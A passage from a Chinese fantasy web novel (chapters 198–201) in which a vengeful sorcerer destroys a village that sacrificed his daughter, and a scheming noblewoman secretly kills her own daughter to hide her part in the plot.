已经死去的薛小玥,竟从坟坑里一点点爬了出来!
她满身污泥血垢,脸上被泥土糊得看不清五官。
雨打在她身上,血从她身下不断渗出。
她就那样抱着死去的孩子,一直坐在那里。
七天后。
村里有人战战兢兢来乱葬岗查看,却看到了让他们魂飞魄散的一幕——
薛小玥的尸体就坐在坟坑边,怀里抱着婴儿,眼睛睁着,直勾勾看着村子的方向。
而她周身三丈之内,草木枯死,虫蚁绝迹。
更恐怖的是,那天参与抬人、埋人的几个汉子,回去后接连暴毙,死状凄惨,仿佛被什么东西活活抽干了生机。
恐慌如瘟疫蔓延。
之后不久,一个游方道士路过将家村。
黄守义带着全村人跪求道士出手。
道士在祠堂前开坛作法,焚香念咒,最后告诉村民:
薛小玥母子怨气太重,需每年在她死祭之日,以“替身”献祭,方可保村子平安。
第一年,村里将一个先天痴傻的女婴抱到乱葬岗,再也没回来。
第二年,一个从外村买来、准备给老光棍做妻的姑娘,在成亲前夜“失踪”。
第三年、第四年……
他们献祭的或是婴孩,或是女子。
村民们从最初的恐惧,渐渐变得麻木,甚至开始默契地维护这个“秘密”。
因为他们知道,当初害死薛小玥的,不是一个人,而是全村人。
幻象如潮水般退去,祠堂重新回到众人眼前,但此刻每个人脸上都失去了血色。
“看明白了?将家村上下九十七口,每一个人,手上都沾着我女儿的血。”
那佝偻老人站在祠堂中央,一字一句,他每个字都像从肺腑里抠出来,
“九年前,我远离京师,归期未定。临走那日,小玥送我至村口老槐树下……”
他喉结滚动,声音忽然哽住,半晌才续道,“她说,爹,你早些回来,阮郎说等他中了功名,就娶我过门。我说好,爹一定尽早回来,亲自为你梳头盖盖头,送你上花轿。”
“我把她托付给村里几户素有往来的邻舍,留下一笔银子,嘱咐他们多加照拂……”
他咧开嘴,像哭又像笑,两行浑浊的老泪顺着他深刻的皱纹蜿蜒而下。
“可我回来时,连小玥的尸身都找不见。他们说她跟人跑了,说她不知廉耻勾搭了一个卖货郎,说她难产**草草埋了……
我翻遍了乱葬岗每一处新坟,只找到一件她穿过的旧肚兜埋在土里,被野狗刨出来,沾满了泥。”
云昭冷眼望着他:“薛小玥无辜惨死,是人间至痛。你向将家村复仇,天道或可容你三分。
可梅氏用的那些肮脏邪术,难道不是你亲口传授?苏惊澜与白慕宁在回春堂外险些丧命,难道不是你背后设计?
还有回春堂刘大夫用断梁咒
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害人,难道不是你从中唆摆?
你教他人害人时,可曾有过半分犹豫?
那些被你害死的人,她们就不是谁的女儿、谁的母亲?
她们的冤魂,又该向谁索命?!
你女儿八年前惨死,难道你是自这之后才开始行恶?
将家村的人被贪婪趋使,灭绝人性,确实该杀;
但薛小玥之死,焉知不是你坑害他人性命的报应!”
薛九针浑身剧震,像是被一记无形的重锤狠狠砸中胸口。
他踉跄后退,撞上身侧倾颓的供桌,香炉砸落在地,“哐当”一声碎成齑粉。
“哈哈……哈哈哈……”他仰头大笑,笑声却渐渐染上无尽的苍凉与空洞,“骂得好……骂得痛快!”
“姜云昭,你说我有报应,那你的报应呢?”他死死盯着云昭,黑沉沉的眸子亮得惊人,
“逆转生死,篡改因果——
你以为天道容得下你这种异数?你以为你将来会有什么好下场?!”
话音未落,他枯瘦如鹰爪的双手猛地扬起,袖中数十道黄符如离弦之箭激射而出!
“天地为炉,血气为薪——七煞轮回,尽归尘土!”
“轰——!”
地面皲裂,梁柱呻吟,那些贴在柱上的黄符无风自燃,化作一道道血色锁链,将整座祠堂连同里面所有的村民彻底封死!
“薛九针!”云昭厉喝,“你已油尽灯枯,强催此阵,必将魂飞魄散,永世不得超生!”
“那又如何?”薛九针背对着他们,声音平静得可怕,“我苟活这八年,走遍阴山鬼蜮,修**禁术邪法,与人做交易,与鬼做买卖……我等的就是今日。”
他顿了顿,他缓缓转过身,最后看了云昭一眼。
那双曾癫狂、怨恨、绝望的眼睛里,此刻竟流露出一种近乎解脱的清明。
“姜云昭,你若真想活下去……小心你身边的人。”
他顿了顿,每个字都说得很慢,很轻,却重重砸在云昭心头:
“‘他们’的眼睛……无处不在。”
“咔——嚓——!”
祠堂中央的主梁骤然断裂!
紧接着,整座建筑如同被一只无形巨手从内部捏碎!
那些被血色锁链捆缚的村民,连惨叫都来不及发出,便化作漫天飞扬的灰白色齑粉!
这座承载了罪恶、谎言与鲜血的祠堂,终于被彻底抹去。
一股巨大的推力将云昭等人猛地推出祠堂!
“轰隆隆——!”
祠堂大门轰然闭合,透过门缝最后一线光,云昭看见——
薛九针佝偻的身影在漫天飞扬的尘灰与血色光芒中,缓缓跪了下来。
他面朝当年薛小玥惨死的那片青石板地,双手在胸前结出一个古朴而庄重的手印。
不是邪术的手印。
那是玄门之中,祭奠亡魂、祈愿往生的——往生印。
第199章 放箭——!
半个时辰前,村口。
卫临一身轻甲,站在村口界后。
身后是两列精兵,所有人马皆屏息凝神,目光死死锁着前方那片被浓白雾气彻底吞噬的村落。
自姜司主和裴寂等人入内,已然过去整整一个时辰。
“熬了这么久,大伙儿都饿了。”副将上前低声道。
卫临微微颔首,目光未曾离开那片雾海:“轮流用饭,保持警戒,不得松懈。”
士兵们得了令,这才稍稍放松紧绷的脊背,围坐一处,就着水囊啃食干硬的饼子。
气氛依旧压抑,连咀嚼声都显得小心翼翼。
惠娘被安置在一辆简易的马车旁,她哪里吃得下东西?
若不是姜司主,她女儿如今还在那姜绾心院里,当着打杂丫头;
而她每日浑浑噩噩,有时清醒过来都不知自己之前干了什么。
是姜司主治好了她的病,给了她们母女体面的生活,姜司主就是她们母女的天!
若今日姜司主真的出不来……不,不会的!
姜司主心怀仁慈,好人一定会有好报!
惠娘双手合十,嘴唇不住翕动,反复念着“佛祖保佑、菩萨显灵”,一双眼睛熬得通红。
忽然,她浑浊的眼睛猛地睁大!
“雾……雾气动了!”她失声叫道,干瘦的手指颤抖着指向村口。
所有士兵霍然起身!
只见那原本如城墙般凝固在村界处的浓白雾气,此刻竟像煮沸的米汤,开始缓缓向外膨胀、蔓延。
雾气所过之处,青草瞬间枯黄萎地。
村口那截以**写就的木牌,被雾气一点点吞没,众人甚至能听见木质被腐蚀发出的“滋滋”轻响。
紧接着,雾气继续向外,吞噬了远处的稻田,和更远一点的宁归林。
附近的草木以肉眼可见的速度失去水分,卷曲、发黑,化为簌簌落下的黑灰。
就在这时,众人头顶传来“扑棱棱”一阵急响。
一只不知从何处飞来的灰雀,大约是受了惊,竟直直朝着村口方向掠去,一头撞进了正在扩张的雾气边缘!
“吱——!”
一声短促凄厉到不似鸟鸣的尖啸!
下一刻,几根沾着零星血肉的细小骨头,从雾中飘飘悠悠地落下,砸在焦黑的地面上。
所有人都感到一股寒意从脚底直窜头顶……
这雾,竟能瞬间吞噬血肉,只留枯骨!
然而当雾气蔓延到云昭以血水布下的界阵边沿时,忽而停了下来。
雾气翻涌着,试探般伸出几缕稀薄的触须,缓缓探向界限。
“滋——!”
如同烧红的烙铁按上湿皮,那几缕雾触在触及界限的瞬间,竟腾起一股焦臭的黑烟!
雾气仿佛吃痛,猛地缩回。
一次,两次,三次……它反复尝试,每次都被地上清晰划出的界限灼伤击退。
最终,雾气如同潮水,缓缓向后撤退,一路退回到原本竖立木牌的位置,重新凝固下来。
众人刚松了口气,身后官道方向,突然传来杂乱急促的马蹄声!
“戒备!”卫临头也未回,冷声下令。
半数士兵立即调转方向,**对准来路。
只见一辆青帷马车在一队约二十余骑的军士护卫下,疾驰而来。
为首一骑,是个模样英挺的年轻将领。
只见他身穿巡防营七品翊麾校尉的靛蓝军服,外罩轻甲,眉眼锐利如刀,鼻梁高挺,手中一杆红缨**随着奔马起伏,枪尖寒芒点点。
马车刚停稳,车帘便被一只保养得宜、却因用力而指节发白的手猛地掀开。
林氏几乎是从车上跌撞下来,她发髻微乱,额角汗湿,平日的端庄持重,此刻早已荡然无存。
她派吕嬷嬷回府确认,房内空无一人,连床褥都是凉的!就连她藏在床头暗格里的那枚莲花古玉,也不翼而飞!
林氏当时只觉得天旋地转。
她平日确实宠溺这个女儿,要星星不给月亮,却万没料到,苏玉嬛竟为了个男人,背着她偷走古玉,以身犯险,只身闯入将家村!
为了女儿的名声,她一心低调处理,打算亲去京兆府,央求赵悉派兵帮忙寻人。
可到了京兆府,却得知赵悉昨夜便与秦王一同出了城,至今未归!
直到那一刻,林氏才真的慌了。
秦王的命,早就被那些人盯上,即便今日侥幸未死,也绝活不长久。
可薛九针竟敢把京兆府尹也一并拖下水!这完全超出了他们最初的谋划!
为了她那个短命女儿,薛九针真是彻底疯了!
林氏踉跄下车,目光急扫,当看到村口那杆“卫”字将旗,以及旗下那位面如冠玉、气质清贵的年轻驸马时,她不禁一怔。
怎会是卫临?
但随即,她心中又猛地窜起一股狂喜。
卫临身后兵马精壮,再加上苏惊澜带来的巡防营二十人,以及村子里的男丁……
凑足一百青壮男子,以精血和性命填那邪阵,绰绰有余!
只待卫临率军冲进去,趁薛九针全力对付秦王等人的时候,她必定能救出女儿!
“驸马!驸马爷!”林氏再顾不得仪态,提起裙摆便要向卫临冲去,声音凄惶,“求驸马救命!我女儿……”
“止步——!”
一声冷硬的断喝,并非来自卫临,而是卫临身侧一名身着玄色劲装、腰佩横刀的校尉。
他手按刀柄,目光如鹰隼般锁定林氏:“来者何人?报上身份来意!”
林氏被他身上散发的凛冽杀气一慑,脚步顿住。
一旁的苏惊澜已翻身下马,上前抱拳行礼:“末将京城巡防营,七品翊麾校尉苏惊澜。
这位是我府上大伯母,竹山书院司库苏凌岳之妻林氏。
我等前来,是为寻我堂妹苏玉嬛,据闻她可能误入此村,生死不明,恳请将军行个方便,容我等入村搜寻。”
“寻人?”那玄衣校尉眉头一皱。
卫临与其交换眼色,目光扫过林氏强作镇定的脸和苏惊澜身后的巡防营兵士,沉声道,
“奉玄察司姜司主严令:此地已划为禁域。所有人等,无召不得入内。违令者——”
他顿了顿,一字一句道,“杀、无、赦。”
苏惊澜闻言,脸上闪过明显的错愕。
他近来一直在营中操练,对家中诸多变故所知不详,但表妹姜云昭的大名,如今在京城却是如雷贯耳。
他不由侧头看向林氏,低声道:“大伯母,若姜
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表妹也在村中,或许……”他本意是想说,有云昭在,或许能护堂妹安全。
可这话听在林氏耳中,不啻于一道惊雷!
姜云昭已经进去了,她果然猜得不错!秦王遇险,这些人必定会去求那丫头!
可彼时的她并不知道,她的嬛嬛也在里面啊!
以姜云昭那睚眦必报的性子,若在村中撞见嬛嬛,岂会放过这落井下石的天赐良机?
强烈的恐惧与愤怒瞬间吞噬了林氏的理智。
她猛地甩开苏惊澜欲搀扶的手,尖声道:“我女儿失踪,性命攸关,为何不能进村搜寻?
难道这村子她姜云昭进得,我这个寻女的苦命母亲就进不得?
朝廷法度何在?天理人情何在啊?!”
她声音越来越高,带着哭腔,却句句指向姜云昭恃权霸道,罔顾人命。
卫临平日里在长公主面前总是温和带笑,一副翩翩佳公子的模样,此刻却面沉如水,眉宇间凝着一股久经沙场的冷硬威压。
他没有理会林氏的哭诉,目光落在那神色已有些迟疑的苏惊澜身上。
“苏校尉。”卫临开口,声音不高,却清晰地压过了林氏的哭嚷,“你说你堂妹失踪,可有人证物证?
她一个深闺小姐,因何会独自出现在这与苏府毫无瓜葛的荒僻村落?”
他目光锐利如刀,转向眼神躲闪的林氏,“还是说,你们府上在此村中,有亲戚往来,人情故旧?”
苏惊澜被问得一怔。
他接到大伯母急报,只说堂妹可能被歹人挟持或诱骗至此,具体情况林氏语焉不详,只催他速点兵马来救人。
此刻被卫临连番追问,他心底不由升起一丝惊疑。
卫临却继续追问,语气渐严:“你营中长官,可知你此行?
你身为巡防营校尉,若无上官调令,无公文勘合,私自率兵离营,擅离职守,你可知该当何罪?”
林氏见卫临句句犀利,直指要害,又见苏惊澜面露难色,心中大急。
她猛地往前扑跪两步,不顾尘土污了锦裙,哭喊道:“驸马爷!我女儿命在旦夕,您却在这里追究细枝末节,盘问官身律条!
难道就因姜司主一道命令,官府便要眼睁睁看着百姓**,见死不救吗?
若我女儿今日真有个三长两短,我……我就撞死在这村口,让天下人都看看,你们是如何草菅人命的!”
她涕泪横流,状若疯癫,已是彻底豁出脸面,要胡搅蛮缠到底。
苏惊澜看着状若疯狂的大伯母,又看看面色冷峻、军容严整的卫临及其部下,一股强烈的不安攫住了他。
大伯母的焦急不像作假,可她言语间的闪烁逃避,以及这村子本身透出的冲天邪气……
这事,比他起初预料要复杂的多。
“大伯母,此事恐怕……”苏惊澜试图劝说。
“闭嘴!”林氏厉声打断他!
她已观察到卫临等人不时警戒地望向前方某道界限的眼神。
趁众人一时不察,她猛地从地上爬起,以出乎意料的敏捷,朝着那无形界限疾冲而去!袖中,一张暗黄色的符箓已悄然滑入掌心。
“拦住她!”卫临眸光一寒,厉声下令,
“放箭——!”
第200章 真的全完了!
一支羽箭破空而至,精准无比地射穿了林氏右肩!
“啊——!”
林氏发出一声凄厉的惨嚎,前冲之势戛然而止,整个人被箭矢的力道带得向后踉跄两步,“扑通”一声跪倒在地。
掌心那张未来得及掷出的符箓被她死死扣在掌中。
肩头剧痛传来,鲜血迅速染红了她华贵的衣衫。
林静薇自小娇生惯养,在苏老夫人的庇护下,更是养尊处优,从没吃过什么苦。
凭着一手异术和心计,从来只有她算计旁人、暗中操控的份,何曾受过如此实实在在的皮肉之苦?
还是在众目睽睽之下,被一箭射穿肩膀!
痛楚、羞辱、惊怒交加,让她眼前发黑,几乎晕厥。
“大伯母!”苏惊澜大惊失色,欲上前搀扶,却被卫临麾下士兵的刀锋逼住。
卫临走上前,冷冷俯视着瘫软在地面容扭曲的林氏。
然而,就在林氏中箭倒地的瞬间,她双手已然重重扑开了那道无形界限!
“嗤……”
一声轻微的、仿佛气泡破裂的声响。
众人骇然瞧见,不远处村口的雾气,又有卷土重来之势!
“混账!”卫临又惊又怒,眼中杀机毕露。
这妇人行为诡异,刻意破坏防线,定有所图,绝不能留!
他长剑一振,便要斩下——
“轰——!!!”
恰在此时,异变陡生!
远处,那被浓雾彻底笼罩的将家村中心位置,一道直径粗逾数丈的暗血色光柱,毫无征兆地冲天而起!
光柱凝实如血玉,边缘缠绕着令人心悸的黑色电芒,直贯九霄,在天空中印出一道触目惊心的血痕!
战马惊嘶,人立而起,士兵们慌忙勒紧缰绳,脸上尽是无法掩饰的骇然。
林氏勉强抬头,望着那道接天连地的血色光柱,脸上血色瞬间褪尽,连肩头的剧痛都仿佛忘了。
她瞳孔紧缩,嘴唇哆嗦着,无意识地喃喃:“阵法破了……这怎么可能?”
她看向眼前浓雾,眼中最后一丝侥幸彻底熄灭,泪水混杂着脸上的尘土簌簌而下。
“迟了,迟了!”她声音嘶哑,像是被砂石磨过,“嬛嬛……我的嬛嬛啊……”
林静薇同为帮忙布阵之人,深知眼前的“血煞归墟”意味着什么——
那是施术者以自身魂飞魄散为代价,拉阵中一切生灵共赴黄泉的绝杀之术。
此刻进去,与送死无异。
她痛惜女儿,却更珍惜自己的性命!
她放不下京城的荣华,奢靡的生活,未竟的图谋。
她忍不住闭了闭眼……都怪苏凌岳那个没出息的!与他成婚十几年,女儿都这么大了,她却未能再怀上一子半女。
那二房的苏凌风常常一走就是好几个月,怎的才在家歇了几天,王氏便又怀上了……
如今女儿没了,但公公已被陛下起复,日后的苏家前途不可限量……她在苏家的荣华富贵不能断,这趟回家,必须想办法怀上孩子,竹山书院……只能是他们大房的!
血色光柱持续了约十息,方才逐渐消散。
紧接着众人便看到,村口翻涌的浓雾如同退潮般,开始剧烈波动,向内收缩、变淡。
几个呼吸间,原本遮天蔽日的浓雾竟散去了大半!
数道人影被一股柔和却不容抗拒的力量托送着,轻盈落地。
为首二人,正是玄衣染尘、神色冷肃的秦王萧启,以及眸光清亮如雪的姜云昭。
身后,周文焕亦步亦趋地扶着赵悉,李牧背着虚弱不堪的裴琰之,孙婆子拖着一道昏迷不醒的人影,走在云昭后面……
还有此前跟随秦王和赵悉一同入内的军士,全员都安然无虞地跟了出来!
“姜司主!殿下!”
卫临眼中爆发出惊喜的光芒,率众快步迎上。
士兵中,一名机灵的斥候早已翻身上马,朝着萧启遥遥抱拳一礼。
见萧启微微颔首,斥候再不迟疑,一夹马腹,战马长嘶,如离弦之箭,朝着京城方向疾驰报信去了。
另一道暗卫人影则快速走到萧启身畔,凑近他耳边,低声回禀京中、宫中局势。
林氏死死盯着那众星拱月般安然归来的云昭,牙关几乎咬碎。
肩头箭伤犹在,每一下心跳都牵扯出钻心剧肺的痛楚,可这痛,却远不及心头那翻江倒海、几乎要将她理智焚尽的恨与悔!
她的嬛嬛……没有出来。
这念头一起,眼前便阵阵发黑,喉头涌上腥甜。
谁知就在她满心绝望之际,一道瘦削的身影忽然自云昭身后不远处走出。
是那个一直跟在云昭身边的哑婆!
孙婆子脸上没什么表情,径直走到林氏面前,将拎在手里的那道身影扔进林氏怀中。
林氏浑身剧震,僵硬地低头。
怀中人似乎被这一番动静惊醒,睫毛颤了颤,缓缓睁开眼。
那是一双写满了惊惧、茫然,如同受惊小鹿般的眼睛——
正是苏玉嬛!
“……嬛嬛?”林氏的声音抖得不成样子,几乎怀疑自己是在绝望中产生了幻觉。
苏玉嬛乍见母亲,呆滞的眸子先是一愣,随即,无边的恐惧与委屈如同决堤的洪水,轰然爆发!
“娘——!”她爆发出嘶哑的哭嚎,双手死死抓住林氏的衣襟,
“娘你终于来了!是那个疯子!那个叫薛九针的疯子!他害我!他偷了我的腿!
他把我的腿换走了!娘!你要给我报仇!把他**万段!让他永世不得超生!”
她语无伦次,涕泪横流,费力地撩起沾满泥污血渍的裙摆。
林氏顺着她手指的方向看去——
只一眼,她脸上的血色瞬间褪尽,瞳孔骤缩!
只见裙下,苏玉嬛的两条腿,一条尚且是少女纤细的模样,另一条……自大腿中部以下,竟诡异而丑陋地萎缩、干瘪下去,比正常那条腿短了足足三寸有余!
“啊——!”林氏倒抽一口冷气,骇得失声尖叫!
她几乎是从喉咙深处挤出一声压抑到极致的尖叫,理智的弦在女儿残疾的刺激下彻底崩断!
林静薇想也未想,抬起的右手用尽全身力气,带着风声,狠狠扇在了苏玉嬛的脸颊上!
“啪!”
一记清脆响亮的耳光,狠狠掴在苏玉嬛苍白的脸颊上!
“你怎么就是不听娘的话?!我千叮咛万嘱咐……你为何偏要来这里!!”
苏玉嬛本就惊吓过度,心神俱疲,又被薛九针的邪术伤了根本,此刻挨了这毫不留情的一巴掌,连哼都没哼一声,头一歪,双眼翻白,竟是当场晕死过去!
林氏抱着骤然瘫软无声的女儿,掌心火辣,心头却是一片冰凉。
她猛地抬起头,充血的眼睛如同淬了毒的刀子,狠狠剜向几步之外的云昭,积压了多时的迁怒即将冲口而出——
然而,所有恶毒的咒骂,却在触及云昭目光的瞬间,冻在了舌尖。
云昭正静静地看着她。
“林夫人,”云昭开口了,声音不高,却清晰地穿透了周遭略显嘈杂的环境,
“两日来,将家村早已被军队围成铁桶,闲杂人等不得出入。
苏家小姐一个深闺女子,是如何避开重重守卫,潜入村中的?”
“而林夫人又因何故,一路寻到将家村,拼着被乱箭射杀的危险,也非要在此时进村?
你怎知,苏小姐一定在此?”<
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br>林氏嘴唇哆嗦着,脸色白了又青,青了又白。
她想要辩驳,可迎着云昭仿佛洞悉了一切的目光,她陡然意识到,大错已然铸成!
女儿背着自己私自潜入将家村,是第一个错,一个足以毁灭她所有名声和前程的愚蠢错误。
而她,为救女儿,当着卫临和众多军士的面撒泼打滚,不惜破坏禁令,甚至差点引动雾气……
事后,只要有人细究,女儿的名声、她自己的名声,乃至整个苏府的名声,都将毁于一旦!
林氏不是那些没见识的市井泼妇。
她能在父母早逝后,迅速获得苏老夫人的怜爱;又引得苏凌岳对她痴心不改,非卿不娶;更在暗中与薛九针那等人物有所勾连,步步布局迫得苏**与苏家**,心机与决断远超常人。
电光石火间,她强压下所有翻腾的情绪,她缓缓垂下头,肩膀垮塌,显出一副哀莫大于心死的疲惫妇人模样。
“今日,妾奉婆母之命,回老家处理些庶务,车马行至半路,忽然想起有件要紧的东西忘了取。返回府中时,才发现嬛嬛竟不在她房中!”
“妾急得不行,四处询问,才知贴身丫鬟小茉,还有府上一个名叫李麻子的车夫,也一并不见了踪影。
那李麻子……听府里老人从前提过,似是这将家村附近的人。
妾忧心嬛嬛是被歹人诱骗或挟持,慌乱之下,顾不得许多,只好带着吕嬷嬷,匆匆赶往城西巡防营大营,寻我那在营中任职的侄儿求助……”
她抬起泪眼,看向一旁脸色复杂的苏惊澜,声音越发凄婉:“我们一路寻到此处,见村子被军爷们围住,妾心急嬛嬛安危,才会言语失当,冲撞了驸马和诸位军爷!
万幸嬛嬛她还活着……只是这腿,我苦命的儿啊!”
林静薇确实机变,短短时间已想出对策,巧舌如簧将整件事大体圆了过去,几乎让人听不出什么破绽。
云昭的目光却落在林氏的袖口边缘,那里,一抹暗黄色的纸角,一闪而过。
符纸。
一个隐约的猜测,在云昭脑中迅速成型。
薛九针在此布阵,绝非一日之功,更非一人之力所能办到。
林氏精通一些偏门异术,她很可能早已知情,甚至参与其中。
而苏玉嬛,或许是偶然得知了什么,或许是受人怂恿,竟也稀里糊涂地闯了进来,反被薛九针当作“祭品”拖入局中,成了这副模样……
云昭心中了然,面上却不动声色,只缓声道:“苏小姐遭遇不幸,令人扼腕。
然此事牵连甚广,村中惨剧更是骇人听闻。
林夫人既是苦主,还请随我等同回京兆府,将前后经过,细细说与赵大人知晓。
也好早日查明真相,告慰亡灵,惩治凶顽。”
“至于林夫人口中那位一同‘失踪’的丫鬟小茉……”
云昭唇角微弯,露出一抹让林氏心头骤然收紧的笑意,
“小茉姑娘虽受了些惊吓,神智倒还清醒,刚好可以与我们同去,与夫人您的话,两相印证。”
小茉竟然没死?!
林氏抱着女儿的手臂猛地收紧,指尖掐进苏玉嬛的臂肉里。不!绝对不能去!
她不是梅氏那种无根浮萍、可以随意任人拿捏的贱妾!
她是堂堂书院司库夫人,是朝中二品大员的嫡长媳!
今日若被姜云昭以这种方式“请”去京兆府,无论最后能否脱罪,她的脸面、苏府的脸面都将荡然无存!
从前那些藏在暗处的事情,更是随时可能被翻出来!
届时,一旦苏家上下得知当年真相,就是苏老夫人出面,也不可能保得下她!
那就真的全完了!
第201章 **!虎毒尚不食子!
林氏垂下头,脸埋在女儿散乱的发间,众人只看到她单薄的肩膀微微耸动,似乎在极力压抑悲泣。
云昭隐隐觉得林氏沉默得有些反常,她不动声色地往前迈了一步,正待开口——
“我的女儿啊——!!!”
一直低头垂泪的林氏,毫无征兆地爆发出了一声凄厉的嚎哭!
只见她猛地将怀中的苏玉嬛往地上一放,双手发疯般地去摇晃女儿的肩膀:“嬛嬛!嬛嬛你醒醒!你看看娘啊!
老天爷啊!你开开眼吧!我的嬛嬛年纪轻轻,怎么会这么命苦啊!”
她哭得声嘶力竭,状若疯魔,任谁看了都觉得这是一个接连遭受打击即将崩溃的母亲。
云昭却是心头一凛!
她一个箭步上前,蹲下身,二指疾探苏玉嬛颈侧脉搏,同时凝神看向她的脸——
只见方才只是昏迷的苏玉嬛,此刻双眼竟蒙上了一层诡异的灰翳,瞳孔微微扩散,口鼻之间,已然气息全无!
**?!
就在这众目睽睽之下!就在这转瞬之间!
云昭指尖一颤,猛地抬头看向林氏。
恰在此时,林氏也抬起眼,与云昭的目光撞了个正着。
四目相对。
旁人看去,只觉林氏双目赤红,目眦尽裂,悲恸得仿佛下一刻就要随着女儿一同去了。
可云昭看得分明——
在那汹涌的泪水与癫狂之下,林氏的眼底深处,飞快地掠过了一抹冰冷刺骨的狠绝!
而她微微松懈的唇角,分明向上扯动了一下——
那不是悲伤,那是一种如释重负的、近乎残忍的松快!
电光石火间,云昭全明白了。
好一个林氏!
好一个果决无比的“慈母”!
为了彻底斩断线索,将自己从这泥潭中摘出去,她竟能在刚刚寻回女儿的瞬间,在所有人的眼皮子底下,用某种不为人知的手段,亲手了结了苏玉嬛的性命!
一个死去的苏玉嬛,远比一个随时可能泄秘的残废女儿,更为安全,更为有用!
虎毒尚不食子。
而林氏,为了自保,为了掩盖更大的秘密,竟能狠绝至此!
就在云昭勘破这悚然真相的刹那,林氏已飞快地重新俯下身。
她将脸深埋进女儿颈窝,肩膀剧烈耸动,发出一阵撕心裂肺的哀嚎:
“嬛嬛!我的儿啊!你怎么就这么走了!你让娘怎么活啊!”
话音未落,她陡然起身,松开了苏玉嬛软塌塌的尸身,以一副决绝的姿态,踉跄着朝那棵大树撞去!
林静薇半边身子被肩头的箭伤染得血红,走起路来步伐虚浮,速度并不快。
云昭见状,双眸微眯,极快地与身侧的萧启交换了一个眼神,又对下意识想要阻拦的赵悉等人摇了摇头。
不必拦。
林静薇既然连亲生女儿的命都舍了,又怎么可能自己赴死?
林氏冲向大树的动作,带着一种刻意渲染的悲壮,眼角余光却一直密切留意着身后的动静。
一步,两步……距离树干仅剩三尺!
身后竟依然一片死寂!
没有惊呼,没有阻拦,甚至连一声象征性的喝止都没有。
那姜云昭心硬如铁也就算了,这些当兵的竟同样如此冷血,眼睁睁看着她**?!
一股混杂着惊怒、羞恼与更深处恐慌的情绪猛地窜上林氏心头。
戏已开锣,众目睽睽之下,她已没了退路!
林氏眼底狠色一闪,银牙暗咬,把心一横,当真将额头朝着粗糙的树干撞了上去!
女儿**也好……腿残废成那样,就算活着,也是个嫁不出去的残废。
日后非但帮不上她什么,还会成为苏家的耻辱、她的累赘!
况且,女儿终究比不过儿子!
公爹为何一直偏心那二房王氏?
还不是因为她肚子争气,进门不久就生了一对双生麟儿!
她若不能拼出个儿子,这辈子在这府里,还有什么指望?
难道真要永远被二房压着一头,看着别人的儿子承袭一切?
如今嬛嬛惨死,她又为殉女重伤,夫君素来心软,往后只会对她千依百顺!
至于公爹,就算心有疑虑,面对她这刚刚经历丧女之痛的刚烈儿媳,又岂能横加指责,寒了人心?
王氏足足比她大了四岁,都能再怀上孩子,凭什么她不行?
实在不行,不是还有玄都观里那位吗?他总会有办法的……
“呃……”
林氏发出一声短促的痛哼,身体顺着树干软软滑倒在地,额角一道刺目的血痕蜿蜒而下,恰到好处地“晕厥”了过去。
“夫人——!”
跪在一旁的吕嬷嬷仿佛才从一连串的巨变中回过神来,爆发出惊天动地的哭喊。
她连滚爬爬地扑到林氏身边,颤抖着手去探她的鼻息,老泪纵横:
“小姐!夫人!你让老奴怎么跟老夫人交代啊!”
哭喊间,她将目光投向不远处那个早已吓得面无人色的丫鬟小茉,嘶声骂道:
“都是你这杀千刀作死的小贱蹄子!定是你撺掇着小姐私自出府,闯下这泼天大祸!
主子如今遭了难,没了!你这背主忘恩的东西,却还好端端地站在这里!
你怎么有脸活着?!你怎么不**!你去给小姐偿命啊!!”
吕嬷嬷捶胸顿足,字字句句都在将罪责往小茉身上引,试图坐实苏玉嬛是“被恶奴引诱私自出府才遭不幸”。
同时用最恶毒的语言刺激着这个年仅十二三岁的小丫头。
小茉本就经历了祠堂内的恐怖幻象,又亲眼目睹小姐惨死、夫人撞树,早已吓得三魂去了七魄。
此刻被吕嬷嬷这般指着鼻子厉声咒骂威胁,小茉连滚带爬地扑到苏玉嬛尸身旁,伏地大哭:
“不……不是的!奴婢真的劝过小姐!是小姐她非要来的!”
她抽噎着,语无伦次,只想撇清自己:“小姐说……说这样做能救秦王殿下!
小姐还说,只要这次成了,她就是殿下的大恩人,殿下一定会娶她的!
奴婢只是个下人,奴婢拧不过小姐啊!嬷嬷,您饶了我这回吧!奴婢真的不知道会这样啊!!”
此言一出,众人神色各异。
吕嬷嬷哭声一滞,眼底闪过一丝慌乱,随即捶打着地面泣道:“我可怜的小姐啊!你听听这没良心的说的什么话!
秦王殿下明明好端端地站在这里,何须旁人来救?
定是这贱婢胡言乱语,推脱罪责!
小姐啊,你死得冤啊!夫人啊,您快醒醒看看,这世道还有没有天理,下人害**主子,还要往主子身上泼脏水啊!”
一直沉默的萧启,却在此时漫声开口:
“救本王?本王何曾遇险,又何时需要她苏玉嬛来救?
她一个深闺女子,又是从何处、听何人说,本王被困于此,需要她来‘救’?”
小茉被萧启的气势所慑,抖如筛糠:“奴婢不知……奴婢真的不知道……”
云昭给了身旁的惠娘和孙婆子一个眼色。
惠娘会意,与孙婆子一同上前,一左一右将几乎瘫软的小茉从地上半扶半架起来。
惠娘拿出帕子,擦了擦小茉糊满眼泪鼻涕的脸,沉声道:“丫头,抬起头,看着姜司主!把你知道的,原原本本,一字不漏地说清楚!”
小茉勉强找回一丝神智,抽抽噎噎地叙述起来:
“是……是今日一早,天还没大亮,小姐就把奴婢叫到房里,神色很奇怪,又紧张又兴奋。
她让奴婢悄悄去找车夫李麻子,叫他准备好马车,在侧门等着,我们要出城。
奴婢问出城做什么,小姐说……说要去将家村,救秦王殿下。
还说这是千载难逢的机会,只要救了秦王,她就是殿下的救命恩人,殿下一定会娶她做王妃的……”
眼瞧着自己越说,秦王的脸色越黑,小茉缩了缩脖子,垂下脸继续道:
“小姐不让奴婢多问,只让奴婢赶紧去办。奴婢不敢违拗。
李麻子好像早就知道似的,马车很快就备好了。
我们是从西侧门偷偷出去的,一路上小姐都很紧张,不停掀帘子往外看,还一直摸着荷包里一个硬硬的东西,像是块玉……
到了村子附近的那个树林,小姐让李麻子把车停在林子边上等着,她握着荷包,带着奴婢往里走。
一路沿着水源往上,进了个山洞。里面黑漆漆的……
再后来,奴婢也不知怎的,就晕了过去,等奴婢意识清醒,人已经在那个大祠堂了。”
云昭静静听着,眸色渐寒。
李麻子知情,却死守在宁归林,此刻恐怕早被大雾溶为枯骨!
这小丫鬟只知跟着苏玉嬛来将家村能救秦王,却说不出自家小姐是如何知晓这些消息的。
她的目光再次落在大树底下昏迷的林氏。
方才林氏情急
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之下曾脱口而出,说今日本该是她替婆母回江陵老家的日子,只是中途折返……
这话恐怕是真的。
而她也确实好奇,江陵作为林氏和苏老夫人的老家,到底有什么东西,会让林氏每逢端午都要赶回……今日,又要破例再度折返。
